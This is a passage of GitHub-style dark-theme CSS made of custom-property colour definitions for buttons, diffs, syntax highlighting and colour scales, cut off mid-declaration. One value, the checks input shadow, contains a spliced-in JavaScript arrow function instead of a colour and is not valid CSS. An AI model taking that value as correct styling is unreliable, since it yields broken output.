#d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: 